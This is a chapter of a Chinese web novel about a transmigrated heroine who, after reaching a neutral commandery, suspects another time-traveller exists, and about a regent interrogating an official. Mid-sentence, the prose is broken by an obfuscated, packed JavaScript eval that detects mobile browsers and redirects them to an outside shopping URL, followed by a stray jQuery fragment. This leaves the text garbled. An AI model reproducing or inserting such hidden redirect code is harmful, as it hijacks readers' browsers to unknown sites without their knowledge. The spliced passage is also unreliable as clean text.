终于离开大胤的领土,再也不用生活在北稷武的阴影之下。菀夕心里久绷着的那根弦松开了,再加上一路舟车劳顿,她真的病倒了。
身体有气无力,头也变得很沉重,嗓子里像是塞了一团棉花,呼吸也变得粗重许多。
管事的怕她传染给别人,给她单独安排了一辆马车。自然,跟管事的豪华房车没法比。
她原本也怕暴露身份,一个人独处,再好不过。
她一路上昏昏沉沉,分不清时辰,也没有什么胃口,一直躺着,偶尔有意识但睁不开眼。意识朦胧之际,有人替她在额头上冰敷,用勺子一点一点地喂药。
她好像回到刚穿过来那个冬天,浑身都是伤病,身体几乎没有什么温度,整个人像是一具血肉僵住的躯壳。有一个温暖在茫茫一片天地中,离她很近很近。
她就像溺水之人抓住救命稻草,冻毙于风雪之人抓住身边唯一的温度。后来她整个人都坠入轻软的云端,温暖馨香的,热闹的,她安心地闭着眼睛,感官清醒了一些。
她听到有人叽里咕噜说了一堆话,接着耳旁传来一个刀锋般干脆利落的声音:“就叫她十七吧。”
头疼欲裂,脑子要炸开了。衣服上的标注的“17”在眼前旋转,变成无数声嗓音低沉的“十七,十七……”
是谁给她起的名字,又是谁一遍一遍唤她?
菀夕怎么也想不起来,她茫然抬起头,发现自己身处迷宫。她满头大汗,一遍遍走进死胡同,找不到出去的路。
直到她听见萧声,那声音缥缈空幽,离她很近很近,像是冥冥之中的某种指引。
她努力循着那声音,追寻声音的源头。身旁的景色倒退着离她远去,她累得气喘吁吁。不知不觉中已经穿过一扇又一扇大门,可却永远也走不到头似的。那萧声本该越来越近,可听起来却像是变得更远了。
她心里一沉,难道她跑错了方向……眼前的景色突然一变,圆月当空,银辉笼罩世界万物。高楼之上,一个青色的身影孑然独立。他转过身时,萧声就此停了。
菀夕心中一热,狂喜着冲上前去,几乎是扑向那人怀里。
就在她刚触碰到那袭青衫时,脚下却突然踩空。她的心揪了起来,身体在不断下坠,灵魂却仿佛要冲出天灵盖……
失重的巨大恐惧中,身体却稳稳地落地。她不敢置信地睁开眼睛,只见面前之人一身玄衣,英气逼人,正居高临下地看着她,唇角露出一抹讥讽的笑意。“抓住你了。”
菀夕猛地睁开眼睛,额头上全都是汗。
“你终于醒了。”察觉她神色仓皇,停云问道,“做噩梦了?”随即体贴地递来一杯水,
菀夕接过水润了润喉,点点头。
太晦气了!
她想见的人是北修玟,北稷武偏要蹦出来刷存在感。真是冷门绑烫圈,捆绑销售。
停云微微一笑,“就在刚才,我们已经到了永安郡。如果你在大胤有什么仇家,他也鞭长莫及。”
永安郡,是四国中间的独立郡县。中立,和平,不插手四国政事,只开门做买卖,迎四方客。四国也都默契地遵守着刀兵若起,不动永安的规则。
菀夕之前研究过地图,从太湖乘船至凉州,从凉州出关,最近也是最安全的地方就是永安郡。
当她真的踏上永安郡的土地,心里却有种不真实的感觉。
她掀开车帘,看到街道整洁,摊贩们井然有序。尽管人流熙攘,但闹中有序。还有几个穿着像官兵的,拿着铜锣四处巡视。
菀夕下意识地联想到城管,心里一乐。
林管事将他们一行人带去了一个叫“承恩院”的地方。
这院子十分气派,看起来比某些大员外的住所还宽敞。林管事颇为骄傲地介绍,这是郡王专门给他手下当差那些人安置的住所。菀夕不禁咂舌,她现在越发好奇,这个永安郡王萧怀,到底是何许人也。
菀夕来到自己的房间,欣喜地发现居然是单人间。
房间里已经放好了热水,摆放着洗漱用品。菀夕对着桶中的清水,看到自己略显苍白的脸,心里松了一口气。终于不用再躲躲藏藏,她可以好好地洗个澡,换身干净的衣服。看到木盆旁放着一块香皂,以及一块干净的毛巾,菀夕愣了一下。她不可置信地笑了笑,告诉自己这里是架空世界,有香皂也正常。
沐浴完毕,浑身舒爽,整个人仿佛脱胎换骨。菀夕伸开双臂,懒洋洋地走到脸盆旁,却再次呆立原地,死死地盯着托盘上的一样东西。
那是一支绑着猪毛的竹柄,熟悉的样式令她想起现代人用的某种清洁工具。
菀夕的心跳了一下,她穿书这么久了,之前当元妃的时候,也没用过这种高级货。
大胤皇宫里的人,早上也不过是嚼嚼齿木,用植物纤维蘸盐。导致她每次刷牙都觉得自己像一头贪吃的牛。
这里怎么会有牙刷?再加上刚才的香皂……
脑海中之前忽略的细节,一串串连起来,闪起零星的火花。她想起林管事给他们发的衣服,一模一样的制式,当时她觉得像工作服。但她居然忽略了最古怪的地方——那些衣服上印着从1到17的数字编号。不是汉字数字,而是阿拉伯数字!
难道说,这个世界还有另一位穿越者?
菀夕深吸一口凉气,震惊、兴奋、难以置信。
她穿过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815517|211043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来之后,一直在竭力隐藏自己的异样,害怕被人当作异类。
如果真有第二个穿越者,他倒是毫不掩饰自己的特别呢。
……
太极宫偏殿,瑞龙脑香气息清冽,温暖的殿内,宫人们都自觉退下,只剩下主座上斜睨下方的摄政王和大殿中跪着的官员。
凤翔府尹贾咏跪在大殿上,心中惴惴不安。
那天晚上,他暗中派人跟踪元妃的信使,想看看她到底藏身何处。没想到一伙黑衣人突然现身,要杀掉那个人。他的人出手阻拦,但还是没能留住那人,元妃的线索就此中断。
他自认为已经做得很周全,不仅拒绝了元妃的投诚,事后还将她的线索上报给摄政王。
可今天被单独召见,他难免忐忑。他并未与这位摄政王打过交道,只听说他较其父有过之而无不及。为人杀伐果断、性情难测。
如果他质问自己为何不留下元妃信使,而是放他离开,那可如何是好?
贾咏深吸一口气,想到刘广孝的惨死,膝盖有些发软。
他抬起头,看向主座上的摄政王,也是如今大胤万人之上的存在。
他看起来很年轻,肤色偏白,有种介于病态与俊美之间的细腻。剑眉下一双深邃寒眸带着洞察人心的压迫感,不像是在边关军营里摸爬滚打长大的粗粝爷们,北川的寒风没有摧毁他的贵气,反而淬炼出一股别样的气质。
只见他十分随意地靠在主座上,一只手撑着下巴,眼神幽幽地看过来,“把你知道的,与元妃有关的,都说出来。”
贾咏不敢藏着掖着,一五一十都交代了。当然,他用高超的语言艺术润色了一番,营造出自己忠于大胤、忠于摄政王的贤臣形象。
北稷武一直安静地倾听,轻轻地用大拇指上的青灰色指环摩挲着指腹,直到听到那句“元妃恨不得食其肉啖其血,怎会助纣为虐、认贼作父?”他突然抬头,眼神锐利地射过来。
贾咏的声音渐渐压低,赔笑道:"这是那賊人的原话,下官当时听了只觉不妥,但为了套出他背后之人,只得假意应承。"
北稷武面上浮现出一丝冷笑,像是自嘲,用肯定的语气命令道:“你再说一遍,一个字也不许漏掉。”
贾咏只得又重复了一遍。
北稷武深吸一口气,脸色铁青,却并未动怒。“接着说下去,遇到的黑衣人是怎么回事。”
他倒要看看,是什么人竟敢越过他,打她的主意。
贾咏完整无损地回到府中,整个人还有些恍如隔世。摄政王居然放过他了?看来他也并非如传闻中那般,暴戾可怕。
家人们也都劫后余生般,围着他喜极而泣。